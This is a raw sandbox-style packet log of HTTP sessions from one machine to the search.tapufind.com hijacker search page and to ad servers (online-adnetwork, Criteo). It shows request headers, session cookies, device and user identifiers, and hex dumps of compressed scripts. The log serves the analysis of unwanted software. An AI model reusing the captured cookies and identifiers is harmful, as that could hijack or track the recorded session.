Feb 14, 2019 13:00:14.320164919 MEZ	7759	IN	Data Raw: d6 44 75 ee 55 78 7d 68 9a 26 1f a3 46 9e 92 ea fd 24 d5 16 6e 60 40 ea 5a e9 15 1d 65 ef 1a 08 b6 6a b5 ae 2c 05 19 0b be 92 7b fa 5d 28 e4 e3 30 50 a5 a7 fc 51 86 ac 2b aa b7 57 e8 4b bd ad a2 1e 8f c3 47 48 94 ba 27 31 72 a8 9f 37 35 54 41 c9 Data Ascii: DuUx}h&F$n`@Zej,{](0PQ+WKGH'1r75TA'W&oa>fEA\PvTM7iH<#3=w767.A}-!XgC5aKb${_8"+>&]{:yw\|/

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.0.50	49319	13.66.51.37	80

Timestamp	kBytes transferred	Direction	Data
Feb 14, 2019 13:00:14.061188936 MEZ	7091	OUT	GET /js/main.js?v=6 HTTP/1.1 Host: search.tapufind.com Accept: / Connection: keep-alive Cookie: ASP.NET_SessionId=3pvsaqlbktbmlre22qymqs2s; paramless_url=gKW_Gr7MM17t7q271p8ZSeiRhWQaK9t3OGj4MazA; sp_ref=; co=CH; dpid=yhs; feedid=infospace; hsimp=yhs-newtab; issubmit=true; param_url=gKW_Gr7MM17t7q271p8ZSeiRhWQaK9t3OGj4Ma23JRq5roLi28zEds39kAibte8Rm0KlQgUHBFN5RU4oT_qrHlUdboQ6bQsk8XOpI0E-9gT1HZjFcXQc9cx-qiPebfuJKpz2rPjuI6csEMA_bzdnwjmMLpEII_JtAD9H1XZ-H8BAlNHZXQS3wvIqZ92YrUcE-d0YDoVyV4INtuxhCHfqzvdsXtA,; publisher=tapufindsf; type=YHS_TAPHP_100; userid=syn_d955cead-824c-4550-9e89-02e36ed3c263; _barcodeid=52413004; _deviceid=d7fc6553-0faa-5bb8-86d8-c132df7dc85c; _installDate=14-02-2019; _publisher=mcwnet User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.7 Accept-Language: en-us Referer: http://search.tapufind.com/?q= Accept-Encoding: gzip, deflate
Feb 14, 2019 13:00:14.188420057 MEZ	7418	IN	HTTP/1.1 200 OK Cache-Control: max-age=259200 Content-Type: application/javascript Content-Encoding: gzip Last-Modified: Tue, 29 Jan 2019 13:21:57 GMT Accept-Ranges: bytes ETag: "80c8c69bd5b7d41:0" Vary: Accept-Encoding Request-Context: appId=cid-v1:da449687-a631-4767-82ce-2a5d944140bb Date: Thu, 14 Feb 2019 12:00:13 GMT Content-Length: 7593 Data Raw: 1f 8b 08 00 00 00 00 00 04 00 dc 7d db 72 dc 46 92 e8 bb 22 fc 0f 4d 48 d1 00 d4 60 5f 64 cb b2 bb 55 62 48 94 3c e6 19 51 d2 88 f4 28 bc 24 87 81 6e 54 77 63 84 06 5a 00 9a 17 93 7c dd e7 8d fd 92 7d df 87 8d d8 4f d9 1f d8 5f d8 cc ac 0b 0a 97 e6 cd f6 78 e2 4c 84 a9 46 55 66 55 56 56 56 56 66 56 56 cd 57 0f fe f7 3f ff eb ab 07 d3 55 3c c9 c3 24 6e c5 fe 49 38 f3 73 be 9f fc 94 46 ce 2a 8d dc 8b 13 3f 6d 4d 59 90 4c 56 0b 1e e7 dd 49 ca a1 fe 4d c4 f1 cb b1 7e 78 ff 71 d7 72 47 d3 ae 4f 0d 30 40 19 69 d8 71 12 9c 77 fd e5 92 c7 c1 f6 3c 8c 02 67 8a 90 d9 6a bc 08 73 c7 1d 5d 7d f5 00 1b 0f f8 78 35 db 4d 02 ce a6 7e 94 f1 11 96 4d a2 70 f2 f9 78 92 ac e2 9c 0d 46 9a bc 6c 9e 9c be 8c 78 9a 3b 59 9e ba 17 e1 d4 d1 c8 ae af cb b1 61 8d 12 f2 bf 3a ee 45 ca f3 55 aa 87 97 a4 48 d5 3b 7f c1 19 b3 76 c3 49 9a 64 c9 34 6f ed c4 39 4f 63 9e b7 de 9c 2d a3 24 e5 a9 b5 b5 f4 d3 8c ff 10 25 7e ee c4 fc b4 f5 91 cf a0 ce b1 76 f7 76 de b4 9c 83 fe e6 f7 47 17 03 ef ea a0 4b bf fa de 95 6b b9 5d 7e c6 27 4e d1 d3 2a e3 e9 cb 19 b0 c3 3d 18 1c b9 c3 cd 81 49 dd 64 ee c7 33 be e7 4f 39 8e c1 c9 e4 0f f7 22 4f cf 2f c2 ec fd 2a 7d 73 16 e6 2c 4f 57 7c b4 c7 f3 ed 24 f9 1c 72 c7 f2 83 55 94 ff 10 46 40 af e5 69 a4 11 8d 95 b1 ef b7 4e c3 38 48 4e bb 51 32 f1 b1 9b ee 3c e5 53 d6 54 38 ac 16 a6 1c 06 1b e0 e4 40 c1 64 ee 00 29 05 d3 79 77 c1 b3 cc 9f 41 57 57 a5 51 f8 f9 36 4e 98 c3 a3 85 24 7d 8a bf bb 93 c8 cf 32 c1 67 7b 32 cf 62 5b cf 84 98 6a 29 01 59 3a 99 6f a7 79 21 64 33 9e 4b 09 7b 75 be 13 38 36 01 f8 b9 ed 92 70 64 4b 3f ce 98 44 32 60 b3 57 e7 fb fe 0c bb 03 0c 80 01 f0 69 92 3a 88 12 b2 fe 28 7c 4e 88 dd 88 c7 b3 7c 3e 0a 3b 1d 92 20 2a 3c 08 8f 9a 88 6d a8 b3 6d 1a 7b 79 74 02 7e b4 96 7e 60 10 9f 25 e9 b9 ed 76 4f fc 68 c5 d9 5e 9e 86 f1 8c 78 14 06 6e 37 4f de 26 a7 3c dd f6 33 7e 47 d6 e7 c9 72 ec 03 a2 98 00 1e 18 53 50 96 1e c5 e7 bf ac 78 7a be 9e d3 5f 14 89 f7 1b cc 75 93 71 d0 3f aa 0f 16 04 6e 19 f9 13 90 69 18 89 e5 59 a0 4b 70 4e 14 a1 1b 30 17 30 0f d7 0a c6 0f e9 02 48 29 b4 0a 07 c9 ba d0 62 e5 5f 23 56 82 79 52 aa 82 f0 44 0a 95 bf 4e a8 00 a4 26 53 88 56 15 29 2c 2b 49 4d 17 56 19 3f 7b 3f 55 5d 42 17 7b 3c e2 93 9c 07 b6 bb c1 36 07 30 c4 2a 0e 2b 60 1b 45 ae de 12 40 69 c9 69 50 8d 15 11 0a b3 97 db ef c7 1c b4 d3 09 4f 41 b7 48 ed eb 4f de 8f 45 19 8b 57 51 64 e8 5e 9e 23 82 a8 73 f4 32 af 36 a3 56 b8 5a db b9 9f 02 33 8b 39 f8 82 d3 2a 48 06 3e da 0f 4f c3 20 08 71 65 43 5b 12 96 3a ae b6 b3 bb ca 49 43 69 ea a4 e6 aa 96 5f 5e ca 8a 4f Data Ascii: }rF"MH`_dUbH<Q($nTwcZ\|}O_xLFUfUVVVVfVVW?U<$nI8sF?mMYLVIM~xqrGO0@iqw<gjs]}x5M~MpxFlx;Ya:EUH;vId4o9Oc-$%~vvGKk]~'N=Id3O9"O/}s,OW\|$rUF@iN8HNQ2<ST8@d)ywAWWQ6N$}2g{2b[j)Y:oy!d3K{u86pdK?D2`Wi:(\|N\|>; <mm{yt~~`%vOh^xn7O&<3~GrSPxz_uq?niYKpN00H)b_#VyRDN&SV),+IMV?{?U]B{<60+`E@iiPOAHOEWQd^#s26VZ39H>O qeC[:ICi_^O
Feb 14, 2019 13:00:14.188536882 MEZ	7420	IN	Data Raw: 7c fc e7 30 5f 5b bd 9b fc 52 ad 43 12 6a dd d4 88 31 19 04 5b 42 15 c1 01 8d 1e 44 fc e5 b6 aa c8 5c 83 a7 dd 44 fc 90 43 f5 2e 40 6c f3 94 f3 21 ae 51 6f 82 9b e4 db 30 cb e9 f3 0a 78 52 9d 23 5a ca 40 84 9c e7 14 36 c1 92 3a a8 75 ee 2c 34 19 Data Ascii: \|0_[RCj1[BD\DC.@l!Qo0xR#Z@6:u,44cUi.SAG=I8Ov%.V"4ECH<9?mv8?R]WFK+QsP7U*##J#3P"V.IqnK\{a_=G%
Feb 14, 2019 13:00:14.188651085 MEZ	7422	IN	Data Raw: a0 ff a8 89 3b 45 73 ee fd 19 65 58 63 4d fb c6 9d a3 33 62 32 6f 09 84 4c 28 24 6d 54 8e 49 c3 68 70 1e 58 dd 98 45 aa 64 ad f2 fa fb 62 53 00 56 31 8b a6 e4 18 54 ff b1 d5 51 60 64 27 57 4e 82 ee 36 36 9a 86 5b 00 88 89 2d 4b 9f 1e 99 1c 1a 4d Data Ascii: ;EseXcM3b2oL($mTIhpXEdbSV1TQ`d'WN66[-KMkW]Ltam6Bj+YFW1ZZ!dT^Bmy5UU%oaY[jsDLq(%,J<YOQ,u\-7ulQ?}\|;@9O&)H b7Y
Feb 14, 2019 13:00:14.188766003 MEZ	7423	IN	Data Raw: 6e bf 27 f6 f1 98 df 80 d3 7d f7 66 ff 9b 6e ff 8d 84 df 79 33 18 30 d9 59 bb 0d d8 c2 37 da 79 93 44 01 73 ae 69 07 d3 db 7b a1 bb 85 a6 c8 90 4e c1 69 e2 b0 bd cb 4b 42 d7 c3 43 a3 d4 22 57 57 4d 4c 8e 0b b3 24 30 b2 27 f8 f9 4a 6c 14 8e ca 1e Data Ascii: n'}fny30Y7yDsi{NiKBC"WWML$0'Jlv2~]?nwo,$XUnrUzPeA"`xdKm}?H~5r \|;s6;l=v8(<L[YV6}jU}U<Y*g\|qhcO
Feb 14, 2019 13:00:14.316891909 MEZ	7732	IN	Data Raw: f1 2b b4 60 33 62 d2 70 30 64 9b 14 5e 92 7b d1 68 bb 8c 84 e3 44 d7 12 c5 bc 5f 5e 56 ad e1 ba 1d bc 20 c8 75 e5 30 66 9c 72 db d5 7d 52 b1 53 f4 24 79 aa ea 55 2e ba 3c 1e 07 3f ae 32 fb a0 e6 7e 92 ae 07 65 c8 1b b9 bd 5e d3 49 77 43 56 48 b5 Data Ascii: +`3bp0d^{hD_^V u0fr}RS$yU.<?2~e^IwCVHIwdLW_m)]7C.G^Sv2=UY#(pkV-i1;f:}Egf_C f6\|o2]cV"~-`vGjGH-W?Z1o*I& >_lvT
Feb 14, 2019 13:00:14.316916943 MEZ	7733	IN	Data Raw: 7b 12 5f fd db 1d 9f 6b 83 e5 6c 11 d9 2d 3f 83 2e 46 b0 54 d0 53 6d 3d 6e 4d c1 16 82 92 d6 29 00 f3 96 ce 5b b7 ad 8e 39 10 7c 87 4b 46 42 5b 40 b3 c8 a4 de b4 5d 5a 1d 25 c0 c1 3a 40 bb f5 f2 dd eb d6 0a 1c 23 6c 7c 05 05 22 2c 35 f1 27 73 fe Data Ascii: {_kl-?.FTSm=nM)[9\|KFB[@]Z%:@#l\|",5'sj]\|b%I8<MS1$aF\|:(gNCr\|3<or:lENj:d)yG@lli_U}W&?sO3:G0C
Feb 14, 2019 13:00:14.317008972 MEZ	7734	IN	Data Raw: 7a bb 45 03 96 75 0d 3a e6 ed 10 c1 6b d0 47 44 fd 1a 74 fd 60 01 72 43 ca 3c 59 9b e2 ae 65 c1 2e e9 1a dc 32 b9 01 e9 79 99 a6 b0 33 11 c2 96 d5 fa 9f 7f fd 37 30 70 e1 9f 7f 2f 58 5a 82 80 9a 16 40 00 5c 8b 98 5c 4c cf 8b 41 91 7e f6 41 97 b2 Data Ascii: zEu:kGDt`rC<Ye.2y370p/XZ@\\LA~A`s02/;sez\rsXVN8&^[sh4[,Op.(y2h:F`;!/#edKuR`}mh+Z"XG&K"A;ezK<tJV

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.0.50	49326	77.245.58.158	80

Timestamp	kBytes transferred	Direction	Data
Feb 14, 2019 13:00:14.587346077 MEZ	8171	OUT	GET /tag?zone_id=58942&size=300x250&pub_keyword=&context=syn_d955cead-824c-4550-9e89-02e36ed3c263&rnd=75329692 HTTP/1.1 Host: display.online-adnetwork.com Connection: keep-alive Accept: / User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.7 Accept-Language: en-us Referer: http://search.tapufind.com/?q= Accept-Encoding: gzip, deflate
Feb 14, 2019 13:00:14.612462997 MEZ	8172	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 14 Feb 2019 12:00:14 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 360 Connection: close Cache-Control: no-store Pragma: no-cache Age: 0 P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" Data Raw: 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 22 3c 21 2d 2d 20 32 39 37 37 32 20 2d 2d 3e 5c 6e 3c 73 63 72 22 2b 22 69 70 74 20 74 79 70 65 3d 5c 22 74 65 78 74 2f 6a 61 76 61 73 63 72 22 2b 22 69 70 74 5c 22 20 73 72 63 3d 5c 22 2f 2f 73 74 61 74 69 63 2e 63 72 69 74 65 6f 2e 6e 65 74 2f 6a 73 2f 6c 64 2f 70 75 62 6c 69 73 68 65 72 74 61 67 2e 6a 73 5c 22 3e 3c 2f 73 63 72 22 2b 22 69 70 74 3e 5c 6e 3c 73 63 72 22 2b 22 69 70 74 20 74 79 70 65 3d 5c 22 74 65 78 74 2f 6a 61 76 61 73 63 72 22 2b 22 69 70 74 5c 22 3e 5c 6e 43 72 69 74 65 6f 2e 44 69 73 70 6c 61 79 41 64 28 7b 5c 6e 20 20 20 20 5c 22 7a 6f 6e 65 69 64 5c 22 3a 20 32 39 36 30 32 31 2c 5c 6e 20 20 20 20 5c 22 61 73 79 6e 63 5c 22 3a 20 66 61 6c 73 65 7d 29 3b 5c 6e 3c 2f 73 63 72 22 2b 22 69 70 74 3e 5c 6e 5c 6e 3c 69 6d 67 20 73 72 63 3d 27 68 74 74 70 3a 2f 2f 64 69 73 70 6c 61 79 2e 6f 6e 6c 69 6e 65 2d 61 64 6e 65 74 77 6f 72 6b 2e 63 6f 6d 2f 69 6d 70 3f 69 3d 61 33 55 6c 35 4b 4a 39 31 31 55 5f 30 27 20 61 6c 74 3d 27 20 27 20 73 74 79 6c 65 3d 27 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 27 3e 22 29 Data Ascii: document.write("... 29772 -->\n<scr"+"ipt type=\"text/javascr"+"ipt\" src=\"//static.criteo.net/js/ld/publishertag.js\"></scr"+"ipt>\n<scr"+"ipt type=\"text/javascr"+"ipt\">\nCriteo.DisplayAd({\n \"zoneid\": 296021,\n \"async\": false});\n</scr"+"ipt>\n\n<img src='http://display.online-adnetwork.com/imp?i=a3Ul5KJ911U_0' alt=' ' style='display:none'>")

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.0.50	49327	77.245.58.158	80

Timestamp	kBytes transferred	Direction	Data
Feb 14, 2019 13:00:15.090092897 MEZ	8173	OUT	GET /imp?i=a3Ul5KJ911U_0 HTTP/1.1 Host: display.online-adnetwork.com Connection: keep-alive Accept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.7 Accept-Language: en-us Referer: http://search.tapufind.com/?q= Accept-Encoding: gzip, deflate
Feb 14, 2019 13:00:15.113045931 MEZ	8174	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 14 Feb 2019 12:00:15 GMT Content-Type: image/gif Content-Length: 42 Connection: close Cache-Control: no-store Pragma: no-cache Age: 0 Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.0.50	49328	178.250.0.130	80

Timestamp	kBytes transferred	Direction	Data
Feb 14, 2019 13:00:15.102816105 MEZ	8174	OUT	GET /js/ld/publishertag.js HTTP/1.1 Host: static.criteo.net Connection: keep-alive Accept: / User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.7 Accept-Language: en-us Referer: http://search.tapufind.com/?q= Accept-Encoding: gzip, deflate
Feb 14, 2019 13:00:15.130785942 MEZ	8176	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 14 Feb 2019 12:00:15 GMT Content-Type: text/javascript Transfer-Encoding: chunked Connection: keep-alive ETag: W/"5c1224f0-1450f" Expires: Fri, 15 Feb 2019 12:00:15 GMT Cache-Control: max-age=86400 Cache-Control: public Last-Modified: Wed, 19 Sep 2007 08:50:25 GMT Timing-Allow-Origin: * Access-Control-Allow-Origin: * Content-Encoding: gzip Data Raw: 36 30 36 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 dd bd 8d 57 db 48 b2 37 fc af 38 be f7 12 7b 30 0e 24 99 ec ae 8d 86 43 80 cc b0 9b 84 5c 48 66 76 97 61 39 c2 16 a0 89 91 3c 92 9c 84 0d fc ef cf af aa fa 53 6a 19 32 9b e7 79 df 93 bd e7 4e 70 ab bf bb ba ba be eb c1 f9 22 9b 54 69 9e f5 fa 9f bb 8b 32 e9 94 55 91 4e aa ee f8 43 5c 74 b6 cf f0 2b 9e 54 7b 1f 92 ac 8a 9c 9a fa cf 4e d5 ab fa 9f ab cb b4 1c 66 f1 55 12 55 b7 45 52 2d 8a ac 53 0d e7 45 5e e5 d5 f5 3c 19 26 1f e2 99 6d 8c fa b7 83 ea b6 d7 1f bc cc 2f 5e 26 1f 92 d9 60 3a 9e 46 fa c7 cd 4d 4f ff 19 7d be ed 0f a6 c7 d3 e1 5e 51 e4 45 b4 7e 12 75 f9 af 2e 17 fe 12 17 59 9a 5d 44 1b 28 56 7f cb 87 dd e4 6c 71 11 3d 46 31 ff 25 2b d9 39 3a 3a 7d 79 f0 63 74 dc 9d e4 b3 bc 18 75 fe eb fc fc 7c dc 1d 74 cf e2 c9 fb 8b 22 5f 64 53 2e fb f3 f9 c6 84 8a a7 69 39 9f c5 d7 a3 4e 9a cd d2 2c 59 3b 9b e5 93 f7 f4 61 1e 4f a7 18 76 d4 d9 98 7f ea 3c 9d 7f e2 3e f2 62 9a 14 6b 45 3c 4d 17 e5 a8 f3 84 4a 4f 86 bf e5 69 d6 eb 76 ba bc d0 e0 e6 15 d8 73 bd 61 c5 d0 ab 55 0d 92 fe e7 f4 bc f7 a0 87 0f 07 3f be dc fb 79 ef e5 66 d5 ef 7f a6 63 c9 cc 6e 1d 57 27 c3 2a 7f 37 9f 27 c5 4e 5c 26 d8 d4 3c fa 98 66 d3 fc 23 ce e3 43 7a 11 57 79 31 c4 a9 16 db 17 38 c1 41 1a ad 6f e6 43 7c 4f 3e 1d 9c f7 ba af 8e f6 f7 30 bf 9b 1b af f4 6d 91 4e 51 f9 51 b7 3f 56 5d 4d f2 ac cc 67 c9 56 ba a5 fe 1a ce f2 8b 5e f7 f8 cd e2 ec 6d 7c 71 d2 e9 ae 66 ab dd 11 fe 49 fa 23 af c6 ff 4c a4 4a 77 a0 f6 7f 60 2b 56 9b 66 15 72 c0 2b 2b f1 2c 29 aa 70 bf b7 b7 83 62 28 27 6b c0 10 90 c4 bb 66 00 46 2a 0c aa 3e 55 d6 f0 b1 a4 ba aa a2 1a 08 94 2d a9 ce 15 54 65 7d 26 b5 35 0c 0a 00 f6 d8 dc 8e a3 a4 d2 c0 4c f7 04 7f 9b c3 c4 55 a1 a3 7c 9b 5e 25 af 92 b8 5c 14 49 11 84 91 8c 1a 7e c8 d3 69 67 3d 8a a2 6a 65 a5 57 45 0f d6 fb 03 fc a5 4e 07 67 7f 9e 17 57 71 36 49 42 65 c3 2c ff b8 25 37 34 ff a8 81 c3 69 43 df 87 67 80 89 5e b3 bf fe 68 37 ae 12 bf 07 5d 32 32 7d 3a 78 41 6e 7f 2f 4b 3e 76 a8 5e 7f 78 91 54 b4 c4 5e ff 56 03 7a 36 dc 29 12 7c 3b 5c 64 7c 7f 9d d6 b4 21 55 44 8d b3 b1 c1 23 65 15 03 28 b0 e0 db 81 6e fa 4b 5a 5d 1e 51 31 75 ed 61 16 ea 21 91 1e 7a 0f 36 fa ba 97 64 c8 bd 70 75 dc 2c ea 89 fe 3e 4a b1 67 6f e2 8b e4 65 1e 4f dd 89 e0 e2 05 36 83 ee 63 b3 98 76 a7 af 66 1b fe 0a 88 08 b7 ac d2 2b ec 40 f0 d0 e4 93 be c4 40 cf bc 5e 35 4e 68 7f d7 dc 23 0d b7 d6 27 b0 4e eb b7 e8 99 b7 c6 5d 3d 1f Data Ascii: 6067WH78{0$C\Hfva9<Sj2yNp"Ti2UNC\t+T{NfUUER-SE^<&m/^&`:FMO}^QE~u.Y]D(Vlq=F1%+9::}yctu\|t"_dS.i9N,Y;aOv<>bkE<MJOivsaU?yfcnW'7'N\&<f#CzWy18AoC\|O>0mNQQ?V]MgV^m\|qfI#LJw`+Vfr++,)pb('kfF>U-Te}&5LU\|^%\I~ig=jeWENgWq6IBe,%74iCg^h7]22}:xAn/K>v^xT^Vz6)\|;\d\|!UD#e(nKZ]Q1ua!z6dpu,>JgoeO6cvf+@@^5Nh#'N]=
Feb 14, 2019 13:00:15.130803108 MEZ	8176	IN	Data Raw: ac b3 61 8c dd f3 8f 38 43 af 5d 32 8b e7 65 e2 ed 9b 3e 34 d3 62 cd ef 0b 1d 78 f7 a3 2a ae df c4 45 99 fc b5 c4 fb 43 0f 49 71 fd 59 f5 f1 d7 a3 83 d7 c3 39 7d c4 87 db 49 5c 4d 2e a9 86 7c bd e5 bb b3 73 b8 ff 76 ef e0 f4 e7 bd d7 bb 07 87 a7 Data Ascii: a8C]2e>4bxECIqY9}I\M.\|sv_6N<V/~x;.:(jF(pk2F.R<W?9BU$H#zpN"\|\C^BQ]NwxC9ubR
Feb 14, 2019 13:00:15.130822897 MEZ	8177	IN	Data Raw: f8 bc 4a 0a 42 c6 ab dd ab 12 af 4f d6 93 f9 e1 f8 92 fe 38 f9 94 4c 16 55 b2 93 5f 01 63 4c b1 82 2e 16 fc 73 82 27 a3 50 ab 2a bb 83 e3 fa d6 9e 0c 2c 5e e4 97 09 cf f4 64 96 c4 85 9a 54 af e0 57 4e 10 70 af ab 7a c2 fc 64 cf a6 78 46 31 a3 7c Data Ascii: JBO8LU_cL.s'P,^dTWNpzdxF1\|`Wsk_VUJB:qVql$ 8t^l4);zr+A9{jl^#Ov1EC:^Mf <q%B9/@P1`0_m]!yu_
Feb 14, 2019 13:00:15.130837917 MEZ	8177	IN	Data Raw: df dc 30 9c e0 b9 d8 96 4e b0 72 60 2e 12 11 08 f6 02 5f 42 a2 b0 fe 28 cc 59 e5 43 35 38 1e 13 10 10 6b d8 82 5b da 07 7f 82 b6 7b ef 14 c2 4b a5 71 3f c9 f0 e9 54 68 5b 08 1a a8 14 47 24 17 e1 5a 0b 23 1e 30 1d a7 ef 5b 3a 05 27 c5 35 31 59 55 Data Ascii: 0Nr`._B(YC58k[{Kq?Th[G$Z#0[:'51YU98}m}S}qAqI}I{%aW)~L%h5qUTv/]o7\|*!SB9t!5NAQUPox
Feb 14, 2019 13:00:15.130945921 MEZ	8179	IN	Data Raw: df 68 21 f9 c1 f9 cd 0d 98 17 a6 14 4e 4f 47 c7 27 b7 69 06 11 0c e4 53 60 0f b6 8b 22 be 5e 59 f1 59 70 22 b1 55 75 ec e4 cd 8d ff 55 53 c8 19 71 de 49 3f 19 42 fe 71 f0 31 c3 78 20 38 ab 6b b0 8a 24 49 3c ce 4e a2 04 ff 01 a3 4d 97 01 27 5a eb Data Ascii: h!NOG'iS`"^YYp"UuUSqI?Bq1x 8k$I<NM'ZE:$*g&Z}#!C1X97,K/\|XR7,>{z6JRo%\|btb$ 8+8^0ufB@o.
Feb 14, 2019 13:00:15.130959988 MEZ	8179	IN	Data Raw: 2c 9c 8d b4 fb 6c 20 42 a0 94 6e 4b e3 a9 f6 04 b1 29 9b cb bc 84 30 b3 97 b8 12 f3 71 6a e4 64 06 2c 34 ac e5 2c d7 02 0c 91 d5 06 38 6b 92 5d 25 24 b6 4a dd b9 02 3a 04 92 05 db 47 dd 2c c7 fe 74 f1 8a f9 a4 85 11 dd ce ab d3 c9 f4 8c 5e d5 09 Data Ascii: ,l BnK)0qjd,4,8k]%$J:G,t^)6hAU:7g-d"=iM^XbyDhkBRA\A-}DsU$p6_7,/lm"y]y2lUH4gQ21tNG
Feb 14, 2019 13:00:15.131097078 MEZ	8180	IN	Data Raw: 5a de 94 83 8b bd c7 a4 85 90 5b b6 f2 1e e8 36 b1 c5 f3 57 86 bb 11 a4 2e b4 ea a1 53 3f 38 34 68 50 25 64 f5 54 93 df 92 8a d3 43 71 a4 7c ae c1 80 41 84 8d f6 97 30 99 98 e1 89 6b b0 b2 24 04 07 bd cc cf 08 90 c1 10 c6 63 c9 29 a4 90 19 60 f3 Data Ascii: Z[6W.S?84hP%dTCq\|A0k$c)`k ~3$+Km,?gZ:h`AGjS&<Pmd(M,@AG;Pw&.B@UwD'^j)$`8M'%Ik@)\:nN4Y7zr<EB\\Lf"e'6)z$Nfl
Feb 14, 2019 13:00:15.131113052 MEZ	8180	IN	Data Raw: dc 67 0c 75 16 f7 58 43 13 09 7d 41 ff 1a 0d b5 4d 5f 75 ae ab c1 e7 ec 3e 9d 5b e6 d7 dc b7 b6 01 02 57 33 04 fa b0 ae 0f e0 3e 21 1d 20 36 de 14 14 6e 24 fa 7a d8 a5 4a 23 e6 b1 c4 ba 4c b4 cf fc 2b 31 4a 32 5f f4 40 78 c2 aa 98 3d a9 90 3c 71 Data Ascii: guXC}AM_u>[W3>! 6n$zJ#L+1J2_@x=<q4?ePRVHCa>DDb/`;hPTx\@>Q8pj``2q}kJA)Mtjpo5y5uAFQNWx
Feb 14, 2019 13:00:15.131223917 MEZ	8182	IN	Data Raw: 4c 21 06 76 39 e1 af ba a6 a6 15 78 c3 48 b8 a6 5f c5 83 fc e4 59 f2 3d 89 a2 bd 79 91 bc a4 41 9e b2 af 51 63 c1 35 cb 65 fe 6e cf 8a 3d 4d 95 ea 51 7b 27 00 6a d5 49 42 4c ce 23 07 ce a7 2e f8 86 8f 12 88 65 78 76 a4 04 c7 8e b5 0e 49 97 07 3b Data Ascii: L!v9xH_Y=yAQc5en=MQ{'jIBL#.exvI;fKP_#Eznz3k/fU[wY9O&y@]D.`Z+ax':mqgp>}*}9!r&vAZd:j_8v="RxSCjD:[k`
Feb 14, 2019 13:00:15.131237030 MEZ	8182	IN	Data Raw: 8c 16 36 c6 df 96 b3 29 f1 ab ce 1b 4d 51 56 63 75 a0 e9 69 3a cf 3c ee cd a1 fe 19 cc 7d 89 81 13 64 c7 01 68 f5 d8 7a 64 e1 ad d7 d4 30 e5 7a f3 8c e0 d1 37 be f1 76 d8 ef a2 11 ad 8e ef 28 95 d2 7b ac 5f ae ca aa 05 dd a9 d7 aa d5 2e a3 7d a2 Data Ascii: 6)MQVcui:<}dhzd0z7v({_.}AZPUIu+mx Px5a!U\PWWLxaZA!>l\|N\ZyXi0y]\|f@,`1&dBB#r6$@q52
Feb 14, 2019 13:00:15.131376982 MEZ	8183	IN	Data Raw: 8f ea 7f 2c d6 14 fa 58 c1 e8 2c c4 bc c2 15 88 c7 50 45 7b b4 85 a2 e6 e0 42 ec c7 c7 82 8b 28 3c df a3 06 3b e1 5a 82 8b 1b 9b 73 bb 89 fe ad 5d f8 5e c3 03 81 ac 19 63 88 cb e9 51 05 ed 5c 3b 49 6d 83 55 77 0f 0d 4c dc 65 c9 f5 a8 8c 52 dc 69 Data Ascii: ,X,PE{B(<;Zs]^cQ\;ImUwLeRip A9w9Rc[g7FE(#l`34-@)Lij}0gh6b'@7E5};![_R=/$DcW,Eu:~To^

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.0.50	49329	178.250.0.145	80

Timestamp	kBytes transferred	Direction	Data
Feb 14, 2019 13:00:15.465476036 MEZ	8203	OUT	GET /delivery/ajs.php?ptv=63&zoneid=296021&cb=21558021369&nodis=1&charset=UTF-8&dc=3&atfr=1&loc=http%3A%2F%2Fsearch.tapufind.com%2F%3Fq%3D HTTP/1.1 Host: cas.criteo.com Connection: keep-alive Accept: / User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.7 Accept-Language: en-us Referer: http://search.tapufind.com/?q= Accept-Encoding: gzip, deflate
Feb 14, 2019 13:00:15.494842052 MEZ	8205	IN	HTTP/1.1 200 OK Cache-Control: private, max-age=0, no-cache Pragma: no-cache Content-Type: text/javascript; charset=utf-8 Content-Encoding: gzip Expires: Mon, 26 Jul 1997 05:00:00 GMT Vary: Accept-Encoding Server: Microsoft-IIS/10.0 Access-Control-Allow-Origin: * P3P: CP='CUR ADM OUR NOR STA NID' X-Powered-By: ASP.NET Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Credentials: true Access-Control-Max-Age: 1000 Date: Thu, 14 Feb 2019 12:00:14 GMT Content-Length: 1200 Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ed bd 07 60 1c 49 96 25 26 2f 6d ca 7b 7f 4a f5 4a d7 e0 74 a1 08 80 60 13 24 d8 90 40 10 ec c1 88 cd e6 92 ec 1d 69 47 23 29 ab 2a 81 ca 65 56 65 5d 66 16 40 cc ed 9d bc f7 de 7b ef bd f7 de 7b ef bd f7 ba 3b 9d 4e 27 f7 df ff 3f 5c 66 64 01 6c f6 ce 4a da c9 9e 21 80 aa c8 1f 3f 7e 7c 1f 3f 22 fe c7 bf f7 1f dc 3a 5f 2f a7 6d 51 2d b7 ee fc e2 df 38 b9 